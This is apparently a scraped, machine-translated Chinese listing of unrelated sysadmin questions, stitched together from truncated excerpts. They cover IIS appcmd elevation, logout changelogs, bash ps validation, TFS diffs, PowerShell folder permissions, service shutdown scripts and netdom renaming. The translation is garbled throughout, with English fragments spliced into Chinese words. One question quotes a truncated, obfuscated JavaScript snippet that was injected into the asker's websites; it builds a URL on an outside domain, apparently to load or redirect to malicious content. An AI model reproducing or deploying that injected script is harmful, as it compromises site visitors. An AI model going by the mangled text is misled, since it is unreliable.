我们正在使用Windows 7盒作为构build服务器。 作为我们持续集成过程的一部分,我想停止并启动IIS 7网站。 我已经尝试使用appcmd从命令行执行此操作: appcmd开始网站“我的网站” 但是,这只有在我通过select“以pipe理员身份运行”来启动控制台窗口时才有效,所以它不能从NAnt等开箱即用。 我如何脚本appcmd以提升的特权运行(或者我以错误的方式去解决这个问题)? 谢谢。
我正在努力让我们的Linux(如果可能的话,最终是Windows)系统设置,以便我们可以监视pipe理变化,并有他们的历史引用。 目前,我有一个相当不错的设置与etckeeper,logwatch和mercurial。 我想通过唠叨任何pipe理员,当他们注销一条消息,询问他们是否想要为服务器上的操作创build更改日志时,使其更加健壮。 一个“否”的回答会继续注销过程,一个肯定的回答会把他们带到他们使用的任何编辑器中,在那里他们可以input任何他们想要的关于他们在系统上改变了什么。 然后,changlog助手将添加一些标准的格式,他们把它放在那里(添加一个date/时间,用户名,缩进,重新包装,每行70个字符等),并将其预先添加到系统上的某个文件中。 然后,我将在监视设置中包含那个更新日志,这将会导致它被版本控制并发送到一个集中的位置。 我设想的东西会看起来很像提交/评论function与mercurial / git / svn一样工作,除了注释的格式不同并保存到本地文件。 奖励点有一些前/后提交挂钩或以其他方式可以自定义。 谢谢。
我有一个bash脚本,用这样的命令列表启动一个ps命令: comando="ps -o pid,pcpu,cmd -C \"$2\"" $ 2必须是这种forms的variables: command1或command1 command2 command3 … commandn 我怎样才能检查这个variables,以避免错误? 我需要一个控制(与if)来检查模式。 编辑: ps可以这样调用: ps -o pid,pcpu,cmd -C "command1 command2 … commandn" 。 如果有人以script.sh -C " command1 command2"调用这个bash脚本,ps命令返回“IMPROPER LIST”。 我想在启动ps命令之前避免ps错误并回显我的错误。
尝试构build一个用于查看TFS变更集的cmdline工具。 目前我有这个: rem I know there's redundancy here, but don't care for now set /A curr=%1 set /A prev=%curr% set /A prev-=1 for /f "tokens=2" %g in ('tf changeset /noprompt %curr%') do tf diff /noprompt /format:unified /version:C%prev%~C%curr% %g 这给出了以下结果: g:\>tfdiffchangeset.bat 2458 currunified was unexpected at this time. 我甚至不知道为什么:变成“curr”,但是如果我删除/格式化,我会得到/版本中发生的相同的事情。 其次,如果我只是用空格来replace:假设我稍后再处理,我会得到这个错误 g:\>tfdiffchangeset.bat 2458 The following usage of […]
我发现一个PowerShell脚本创build文件夹(如果他们不存在),并添加适当的权限。 以下是PS1文件(由其他人创build) ################################################################################## # # # Script name: SetFolderPermission.ps1 # Author: [email protected] # Homepage: www.powershell.nu # # ################################################################################## param ([string]$Path, [string]$Access, [string]$Permission = ("Modify"), [switch]$help) function GetHelp() { $HelpText = @" DESCRIPTION: NAME: SetFolderPermission.ps1 Sets FolderPermissions for User on a Folder. Creates folder if not exist. PARAMETERS: -Path Folder to Create or Modify (Required) -User […]
我有一种情况,我需要启动一个虚拟机进入正常模式,但禁用尽可能多的服务。 基本上我们正在对虚拟机进行虚拟到虚拟的转换,运行的服务越less,文件locking的可能性就越小,无法复制。 转换程序(Citrix XenConvert)使用VSS进行快照,但是仍然有文件因打开而被忽略。 我知道显而易见的问题是“为什么不用networking引导进入安全模式” – 不幸的是,如果我这样做,它会虚拟化虚拟化工具。 理想情况下,这将是一个脚本,获取每个正在运行的服务的供应商,如果供应商不是微软,它会停止服务。 更好的是排除清单,所以我可以说“不要停止这个供应商的服务”。 你难以置信的聪明和足智多谋的人有什么想法可以find脚本? 还是很快拼凑起来的? 非常感谢!
为什么这不工作? 它看起来像会但没有任何反应。 Option Explicit Dim wshNetwork Dim wshShell Dim PCname Dim Newname Set wshNetwork = WScript.CreateObject("WScript.Network") Set wshShell = WScript.CreateObject("WScript.Shell") PCname = InputBox("Type in the name of the pc you want to rename") Newname = InputBox("Type in the name of the new pc name") wshShell.run("netdom renamecomputer " &PCname& " /NewName:"&Newname& " /reboot:00 " ) 'MsgBox("netdom […]
今天早上,我发现一个脚本出现在我们两个网站的多个位置。 不用说,我正在从备份恢复网站,更改我们的密码和拖网FTP日志。 我应该采取其他的行动吗? 这是脚本。 任何想法可能会做什么? <!– C/C v0870 –><script>function fY(){};xN='';fY.prototype = {k : function() {p=7854;this.eS="";pT=false;return '\u0068\u0058\u0058\u0070\u003a\u002f\u002f\u0062\u0065\u006f\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0058\u006d\u006c'.replace(/X/g, 't').replace(/HHHHHHHHHHHHHHHHHHHHHH/g, 'linkonline.com/index.h');t="t";var uY="uY";var q=27591;var o=function(){return 'o'};},c : function() {var kB='';function wC(){};this.lQ="";var a=new Date(); var uA=false;function gR(){}; var b='replace';this.iA="";var m='';var w=document;var uT='';var bD="";var v=new Array();var mQ=function(){};var j=window;function kA(){};function aO(){};var f=24513;var hJ=new Date();var vH=new Date();fU=false;var qH=new Date();this.aI='';String.prototype.pZ=function(u,g){return this[b](u, g)};var mZ="mZ";var jI='';var […]
我正在寻找一种方法来查询活动目录或短信或一些东西,所以我可以得到已经login到多台服务器的Windows服务器的用户列表。 这将像在Linux上检查lastlog文件。 除了用户名外,我不需要时间或其他任何东西。 一些输出如下所示:SERVERNAME:shatnerw,nimoyl,kelleyd, 任何关于这个的意见都会很棒。 即使是“在VB脚本中使用这个函数”。 谢谢你,ablackhat 编辑:到目前为止,我发现信息是在HKEY_LOCAL_MACHINE \ SOFTWARE \微软\的Windows NT \ CurrentVersion \ ProfileList的registry。 它有一个很好的guid。 现在我需要找出一种方法来远程查询。
我有一个PHP脚本脚本,应该可以从多个IP( http://xxx.xxx.xxx.xxx/~myfolder/myscript.php )访问,请。 告诉如何在运行apache的CentOS 5.5(64位)上安装。 我将在同一台服务器上从另一个PHP脚本调用脚本。